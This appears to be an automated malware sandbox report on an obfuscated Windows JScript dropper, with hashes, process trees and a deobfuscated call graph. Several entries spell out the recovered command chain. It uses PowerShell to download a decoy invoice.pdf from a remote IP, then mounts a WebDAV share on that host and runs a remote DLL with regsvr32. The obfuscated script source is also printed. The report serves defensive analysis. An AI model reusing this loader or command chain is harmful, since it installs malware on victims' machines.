SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18774), with CRLF line terminators
Entropy (8bit):	4.903584525715586
TrID:
File name:	3414115772858819502.js
File size:	22'301 bytes
MD5:	7948b00e0ec84ea4d931adb7e6fd45c0
SHA1:	d405217b281a107606307ca0dd8eee442d8b813e
SHA256:	3bd9fc918ad946a14bb1cf456f3c302f0aff6b89a0dd66fba998f6a1645663e0
SHA512:	d503a873fc75acab22cfb4888372349e214b4e30e67a06e7e9f31b180a8f7fd27c7ea82981b3ce643ccc56aad4f015a241936fed82eea9b475c5d9b2bbffb086
SSDEEP:	192:g8EUNxCkEUDJuw6J27g6dkJPcv3XRit1DdMDQgprf5MQHbcf04OIspfSsUIgDIj:vxvJuF62PcPRu1DsQgdfGSbcfddscxkj
TLSH:	60A2748905B2DBB38DFD2F901B4B2E55268A025609FC91FB443124CD9EA16F959FE3F0
File Content Preview:	function dgczoqm(){gbnxx=[1031,3079,5127,4103,2055,3072];var ymheaphr=this[kuhxjvmx+fycsyz+obqbh+owcqlhc+bgncuxj+ertwdodf+elhjdsqe+wzoijdo](this[eefok+tjbynapms+dsjwg+obqbh+ljewogalr+kuhxjvmx+wzoijdo][rkzetjcr+obqbh+bgncuxj+fycsyz+wzoijdo+bgncuxj+yhtjuk+a

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	22:30:36
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3414115772858819502.js"
Imagebase:	0x7ff61cab0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:30:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
Imagebase:	0x7ff7e56a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:30:37
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:30:37
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:30:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	22:30:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e56a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:30:42
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c1b20000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:30:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	22:30:43
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:30:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1584,i,9446064916445789587,12544552719755005213,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dgczoqm() {	dgczoqm() ➔ undefined
1	gbnxx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ymheaphr = this[kuhxjvmx + fycsyz + obqbh + owcqlhc + bgncuxj + ertwdodf + elhjdsqe + wzoijdo] ( this[eefok + tjbynapms + dsjwg + obqbh + ljewogalr + kuhxjvmx + wzoijdo][rkzetjcr + obqbh + bgncuxj + fycsyz + wzoijdo + bgncuxj + yhtjuk + aucdw + ucrft + bgncuxj + dsjwg + wzoijdo] ( eefok + tjbynapms + dsjwg + obqbh + ljewogalr + kuhxjvmx + wzoijdo + nufnwzzdt + tjbynapms + fxmcff + bgncuxj + eoxkrszl + eoxkrszl ) [zkmxtqfp + bgncuxj + bunfc + zkmxtqfp + bgncuxj + fycsyz + lzhfu] ( argimtqu + jemaazxt + wlvgtri + ahtjh + orsrxuo + rkzetjcr + kivqfsu + zkmxtqfp + zkmxtqfp + wlvgtri + ibgvt + rzagy + orsrxuo + kivqfsu + tjbynapms + wlvgtri + zkmxtqfp + leyonkhxt + rkzetjcr + eewofezsw + elhjdsqe + wzoijdo + obqbh + eewofezsw + eoxkrszl + oykxjshou + qbcoom + fycsyz + elhjdsqe + bgncuxj + eoxkrszl + leyonkhxt + ertwdodf + elhjdsqe + wzoijdo + bgncuxj + obqbh + elhjdsqe + fycsyz + wzoijdo + ljewogalr + eewofezsw + elhjdsqe + fycsyz + eoxkrszl + leyonkhxt + syqhokpj + eewofezsw + dsjwg + fycsyz + eoxkrszl + bgncuxj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gistd = 0 ; gistd < gbnxx[eoxkrszl + bgncuxj + elhjdsqe + bunfc + wzoijdo + fxmcff] ; ++ gistd )
4	{
5	if ( ymheaphr == gbnxx[gistd] )
6	{
7	ymheaphr = true;
8	break ;
9	}
10	}
11	if ( ymheaphr !== true )
12	this[eefok + tjbynapms + dsjwg + obqbh + ljewogalr + kuhxjvmx + wzoijdo][lmkcgd + bceuhu + ljewogalr + wzoijdo] ( );
13	this[eefok + tjbynapms + dsjwg + obqbh + ljewogalr + kuhxjvmx + wzoijdo][rkzetjcr + obqbh + bgncuxj + fycsyz + wzoijdo + bgncuxj + yhtjuk + aucdw + ucrft + bgncuxj + dsjwg + wzoijdo] ( eefok + tjbynapms + dsjwg + obqbh + ljewogalr + kuhxjvmx + wzoijdo + nufnwzzdt + tjbynapms + fxmcff + bgncuxj + eoxkrszl + eoxkrszl ) [obqbh + bceuhu + elhjdsqe] ( dsjwg + poxchbf + lzhfu + oykxjshou + twfws + dsjwg + oykxjshou + kuhxjvmx + eewofezsw + ouyko + bgncuxj + obqbh + owcqlhc + fxmcff + bgncuxj + eoxkrszl + eoxkrszl + nufnwzzdt + bgncuxj + bsdfb + bgncuxj + oykxjshou + ddtndg + rkzetjcr + eewofezsw + poxchbf + poxchbf + fycsyz + elhjdsqe + lzhfu + oykxjshou + kwdiihmpr + ertwdodf + elhjdsqe + luyguu + eewofezsw + clwaptcpw + bgncuxj + ddtndg + eefok + bgncuxj + aucdw + zkmxtqfp + bgncuxj + qwcsxpd + bceuhu + bgncuxj + owcqlhc + wzoijdo + oykxjshou + ddtndg + yhtjuk + bceuhu + wzoijdo + cpvdsuqjk + ljewogalr + eoxkrszl + bgncuxj + oykxjshou + zuccrpjp + wzoijdo + bgncuxj + poxchbf + kuhxjvmx + zuccrpjp + leyonkhxt + ljewogalr + elhjdsqe + luyguu + eewofezsw + ljewogalr + dsjwg + bgncuxj + nufnwzzdt + kuhxjvmx + lzhfu + jxjenclh + oykxjshou + fxmcff + wzoijdo + wzoijdo + kuhxjvmx + erhmodrvn + twfws + twfws + ohhpssqh + htmnq + egufimb + nufnwzzdt + ohhpssqh + yrmdyx + egufimb + nufnwzzdt + ohhpssqh + nufnwzzdt + tfurqvbhv + surkawk + watmmhaaw + twfws + ljewogalr + elhjdsqe + luyguu + eewofezsw + ljewogalr + dsjwg + bgncuxj + nufnwzzdt + kuhxjvmx + fxmcff + kuhxjvmx + kwdiihmpr + jwkym + jwkym + owcqlhc + wzoijdo + fycsyz + obqbh + wzoijdo + oykxjshou + zuccrpjp + wzoijdo + bgncuxj + poxchbf + kuhxjvmx + zuccrpjp + leyonkhxt + ljewogalr + elhjdsqe + luyguu + eewofezsw + ljewogalr + dsjwg + bgncuxj + nufnwzzdt + kuhxjvmx + lzhfu + jxjenclh + jwkym + jwkym + dsjwg + poxchbf + lzhfu + oykxjshou + twfws + dsjwg + oykxjshou + elhjdsqe + bgncuxj + wzoijdo + oykxjshou + bceuhu + owcqlhc + bgncuxj + oykxjshou + leyonkhxt + leyonkhxt + ohhpssqh + htmnq + egufimb + nufnwzzdt + ohhpssqh + yrmdyx + egufimb + nufnwzzdt + ohhpssqh + nufnwzzdt + tfurqvbhv + surkawk + watmmhaaw + eccvv + rwsgbw + rwsgbw + rwsgbw + rwsgbw + leyonkhxt + lzhfu + fycsyz + luyguu + ouyko + ouyko + ouyko + obqbh + eewofezsw + eewofezsw + wzoijdo + leyonkhxt + jwkym + jwkym + dsjwg + poxchbf + lzhfu + oykxjshou + twfws + dsjwg + oykxjshou + obqbh + bgncuxj + bunfc + owcqlhc + luyguu + obqbh + egufimb + tfurqvbhv + oykxjshou + twfws + owcqlhc + oykxjshou + leyonkhxt + leyonkhxt + ohhpssqh + htmnq + egufimb + nufnwzzdt + ohhpssqh + yrmdyx + egufimb + nufnwzzdt + ohhpssqh + nufnwzzdt + tfurqvbhv + surkawk + watmmhaaw + eccvv + rwsgbw + rwsgbw + rwsgbw + rwsgbw + leyonkhxt + lzhfu + fycsyz + luyguu + ouyko + ouyko + ouyko + obqbh + eewofezsw + eewofezsw + wzoijdo + leyonkhxt + tfurqvbhv + rwsgbw + surkawk + htmnq + rwsgbw + htmnq + watmmhaaw + lwgnuqe + watmmhaaw + tfurqvbhv + watmmhaaw + htmnq + hidsbxvtl + rwsgbw + nufnwzzdt + lzhfu + eoxkrszl + eoxkrszl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll",0,false) ➔ 0
14	}
15	eewofezsw = "O";
16	eewofezsw = "w";
17	eewofezsw = "B";
18	eewofezsw = "e";
19	eewofezsw = "W";
20	eewofezsw = "N";
21	eewofezsw = "U";
22	eewofezsw = "i";
23	eewofezsw = "o";
24	wlvgtri = "F";
25	wlvgtri = "i";
26	wlvgtri = "u";
27	wlvgtri = "b";
28	wlvgtri = "F";
29	wlvgtri = "u";
30	wlvgtri = "r";
31	wlvgtri = "F";
32	wlvgtri = "Q";
33	wlvgtri = "W";
34	wlvgtri = "l";
35	wlvgtri = "U";
36	wlvgtri = "y";
37	wlvgtri = "b";
38	wlvgtri = "j";
39	wlvgtri = "L";
40	wlvgtri = "n";
41	wlvgtri = "m";
42	wlvgtri = "E";
43	orsrxuo = "k";
44	orsrxuo = "m";
45	orsrxuo = "n";
46	orsrxuo = "V";
47	orsrxuo = "h";
48	orsrxuo = "h";
49	orsrxuo = "F";
50	orsrxuo = "H";
51	orsrxuo = "L";
52	orsrxuo = "y";
53	orsrxuo = "u";
54	orsrxuo = "X";
55	orsrxuo = "T";
56	orsrxuo = "K";
57	orsrxuo = "H";
58	orsrxuo = "U";
59	orsrxuo = "t";
60	orsrxuo = "q";
61	orsrxuo = "M";
62	orsrxuo = "y";
63	orsrxuo = "L";
64	orsrxuo = "r";
65	orsrxuo = "I";
66	orsrxuo = "n";
67	orsrxuo = "w";
68	orsrxuo = "k";
69	orsrxuo = "I";
70	orsrxuo = "s";
71	orsrxuo = "R";
72	orsrxuo = "d";
73	orsrxuo = "s";
74	orsrxuo = "W";
75	orsrxuo = "S";
76	orsrxuo = "H";
77	orsrxuo = "V";
78	orsrxuo = "N";
79	orsrxuo = "_";
80	bgncuxj = "n";
81	bgncuxj = "Y";
82	bgncuxj = "M";
83	bgncuxj = "n";
84	bgncuxj = "M";
85	bgncuxj = "b";
86	bgncuxj = "s";
87	bgncuxj = "h";
88	bgncuxj = "s";
89	bgncuxj = "u";
90	bgncuxj = "C";
91	bgncuxj = "U";
92	bgncuxj = "B";
93	bgncuxj = "m";
94	bgncuxj = "M";
95	bgncuxj = "e";
96	yhtjuk = "n";
97	yhtjuk = "d";
98	yhtjuk = "X";
99	yhtjuk = "u";
100	yhtjuk = "I";
101	yhtjuk = "o";
102	yhtjuk = "f";
103	yhtjuk = "Z";
104	yhtjuk = "t";
105	yhtjuk = "O";
106	tfurqvbhv = "G";
107	tfurqvbhv = "l";
108	tfurqvbhv = "n";
109	tfurqvbhv = "T";
110	tfurqvbhv = "d";
111	tfurqvbhv = "z";
112	tfurqvbhv = "E";
113	tfurqvbhv = "b";
114	tfurqvbhv = "g";
115	tfurqvbhv = "m";
116	tfurqvbhv = "t";
117	tfurqvbhv = "c";
118	tfurqvbhv = "J";
119	tfurqvbhv = "S";
120	tfurqvbhv = "O";
121	tfurqvbhv = "n";
122	tfurqvbhv = "P";
123	tfurqvbhv = "U";
124	tfurqvbhv = "U";
125	tfurqvbhv = "v";
126	tfurqvbhv = "q";
127	tfurqvbhv = "t";
128	tfurqvbhv = "e";
129	tfurqvbhv = "y";
130	tfurqvbhv = "t";
131	tfurqvbhv = "J";
132	tfurqvbhv = "r";
133	tfurqvbhv = "Q";
134	tfurqvbhv = "s";
135	tfurqvbhv = "e";
136	tfurqvbhv = "n";
137	tfurqvbhv = "C";
138	tfurqvbhv = "s";
139	tfurqvbhv = "V";
140	tfurqvbhv = "p";
141	tfurqvbhv = "2";
142	obqbh = "M";
143	obqbh = "H";
144	obqbh = "r";
145	obqbh = "y";
146	obqbh = "z";
147	obqbh = "v";
148	obqbh = "K";
149	obqbh = "y";
150	obqbh = "l";
151	obqbh = "u";
152	obqbh = "Y";
153	obqbh = "t";
154	obqbh = "A";
155	obqbh = "M";
156	obqbh = "d";
157	obqbh = "C";
158	obqbh = "U";
159	obqbh = "t";
160	obqbh = "F";
161	obqbh = "u";
162	obqbh = "E";
163	obqbh = "u";
164	obqbh = "p";
165	obqbh = "r";
166	rzagy = "x";
167	rzagy = "q";
168	rzagy = "a";
169	rzagy = "q";
170	rzagy = "E";
171	rzagy = "O";
172	rzagy = "g";
173	rzagy = "X";
174	rzagy = "z";
175	rzagy = "Q";
176	rzagy = "U";
177	rzagy = "S";
178	rzagy = "A";
179	rzagy = "f";
180	rzagy = "m";
181	rzagy = "W";
182	rzagy = "m";
183	rzagy = "V";
184	rzagy = "J";
185	rzagy = "M";
186	rzagy = "V";
187	rzagy = "N";
188	rzagy = "g";
189	rzagy = "K";
190	rzagy = "v";
191	rzagy = "M";
192	rzagy = "u";
193	rzagy = "R";
194	rzagy = "h";
195	rzagy = "r";
196	rzagy = "W";
197	rzagy = "V";
198	rzagy = "h";
199	rzagy = "v";
200	rzagy = "u";
201	rzagy = "N";
202	rzagy = "T";
203	tjbynapms = "w";
204	tjbynapms = "Z";
205	tjbynapms = "u";
206	tjbynapms = "u";
207	tjbynapms = "q";
208	tjbynapms = "l";
209	tjbynapms = "B";
210	tjbynapms = "q";
211	tjbynapms = "r";
212	tjbynapms = "I";
213	tjbynapms = "u";
214	tjbynapms = "X";
215	tjbynapms = "K";
216	tjbynapms = "C";
217	tjbynapms = "r";
218	tjbynapms = "E";
219	tjbynapms = "n";
220	tjbynapms = "p";
221	tjbynapms = "B";
222	tjbynapms = "s";
223	tjbynapms = "n";
224	tjbynapms = "m";
225	tjbynapms = "s";
226	tjbynapms = "m";
227	tjbynapms = "c";
228	tjbynapms = "S";
229	erhmodrvn = "m";
230	erhmodrvn = "W";
231	erhmodrvn = "L";
232	erhmodrvn = "V";
233	erhmodrvn = "n";
234	erhmodrvn = "h";
235	erhmodrvn = "r";
236	erhmodrvn = "C";
237	erhmodrvn = "I";
238	erhmodrvn = "H";
239	erhmodrvn = "Y";
240	erhmodrvn = "u";
241	erhmodrvn = "z";
242	erhmodrvn = "Q";
243	erhmodrvn = "o";
244	erhmodrvn = "Z";
245	erhmodrvn = "S";
246	erhmodrvn = "E";
247	erhmodrvn = "j";
248	erhmodrvn = "a";
249	erhmodrvn = "Z";
250	erhmodrvn = "L";
251	erhmodrvn = "l";
252	erhmodrvn = "G";
253	erhmodrvn = "k";
254	erhmodrvn = "W";
255	erhmodrvn = "U";
256	erhmodrvn = "Q";
257	erhmodrvn = "C";
258	erhmodrvn = "c";
259	erhmodrvn = "L";
260	erhmodrvn = "S";
261	erhmodrvn = "k";
262	erhmodrvn = "m";
263	erhmodrvn = "g";
264	erhmodrvn = "c";
265	erhmodrvn = "C";
266	erhmodrvn = "x";
267	erhmodrvn = "b";
268	erhmodrvn = "h";
269	erhmodrvn = ":";
270	hidsbxvtl = "a";
271	hidsbxvtl = "y";
272	hidsbxvtl = "V";
273	hidsbxvtl = "X";
274	hidsbxvtl = "w";
275	hidsbxvtl = "u";
276	hidsbxvtl = "H";
277	hidsbxvtl = "z";
278	hidsbxvtl = "g";
279	hidsbxvtl = "x";
280	hidsbxvtl = "j";
281	hidsbxvtl = "G";
282	hidsbxvtl = "C";
283	hidsbxvtl = "N";
284	hidsbxvtl = "l";
285	hidsbxvtl = "T";
286	hidsbxvtl = "A";
287	hidsbxvtl = "N";
288	hidsbxvtl = "K";
289	hidsbxvtl = "b";
290	hidsbxvtl = "k";
291	hidsbxvtl = "Y";
292	hidsbxvtl = "D";
293	hidsbxvtl = "M";
294	hidsbxvtl = "Y";
295	hidsbxvtl = "P";
296	hidsbxvtl = "V";
297	hidsbxvtl = "D";
298	hidsbxvtl = "C";
299	hidsbxvtl = "V";
300	hidsbxvtl = "X";
301	hidsbxvtl = "J";
302	hidsbxvtl = "z";
303	hidsbxvtl = "N";
304	hidsbxvtl = "G";
305	hidsbxvtl = "B";
306	hidsbxvtl = "r";
307	hidsbxvtl = "C";
308	hidsbxvtl = "a";
309	hidsbxvtl = "7";
310	bunfc = "p";
311	bunfc = "T";
312	bunfc = "P";
313	bunfc = "l";
314	bunfc = "b";
315	bunfc = "c";
316	bunfc = "m";
317	bunfc = "a";
318	bunfc = "Y";
319	bunfc = "D";
320	bunfc = "x";
321	bunfc = "E";
322	bunfc = "J";
323	bunfc = "H";
324	bunfc = "Z";
325	bunfc = "O";
326	bunfc = "w";
327	bunfc = "f";
328	bunfc = "p";
329	bunfc = "d";
330	bunfc = "I";
331	bunfc = "w";
332	bunfc = "U";
333	bunfc = "R";
334	bunfc = "B";
335	bunfc = "Z";
336	bunfc = "T";
337	bunfc = "E";
338	bunfc = "L";
339	bunfc = "G";
340	bunfc = "t";
341	bunfc = "s";
342	bunfc = "A";
343	bunfc = "U";
344	bunfc = "P";
345	bunfc = "y";
346	bunfc = "g";
347	dsjwg = "R";
348	dsjwg = "B";
349	dsjwg = "T";
350	dsjwg = "w";
351	dsjwg = "f";
352	dsjwg = "e";
353	dsjwg = "L";
354	dsjwg = "Q";
355	dsjwg = "s";
356	dsjwg = "P";
357	dsjwg = "v";
358	dsjwg = "L";
359	dsjwg = "P";
360	dsjwg = "V";
361	dsjwg = "P";
362	dsjwg = "X";
363	dsjwg = "L";
364	dsjwg = "y";
365	dsjwg = "z";
366	dsjwg = "P";
367	dsjwg = "F";
368	dsjwg = "y";
369	dsjwg = "r";
370	dsjwg = "e";
371	dsjwg = "r";
372	dsjwg = "T";
373	dsjwg = "F";
374	dsjwg = "D";
375	dsjwg = "h";
376	dsjwg = "C";
377	dsjwg = "t";
378	dsjwg = "m";
379	dsjwg = "c";
380	owcqlhc = "Q";
381	owcqlhc = "o";
382	owcqlhc = "t";
383	owcqlhc = "x";
384	owcqlhc = "m";
385	owcqlhc = "f";
386	owcqlhc = "E";
387	owcqlhc = "w";
388	owcqlhc = "Q";
389	owcqlhc = "Z";
390	owcqlhc = "s";
391	bsdfb = "l";
392	bsdfb = "K";
393	bsdfb = "d";
394	bsdfb = "g";
395	bsdfb = "e";
396	bsdfb = "G";
397	bsdfb = "k";
398	bsdfb = "x";
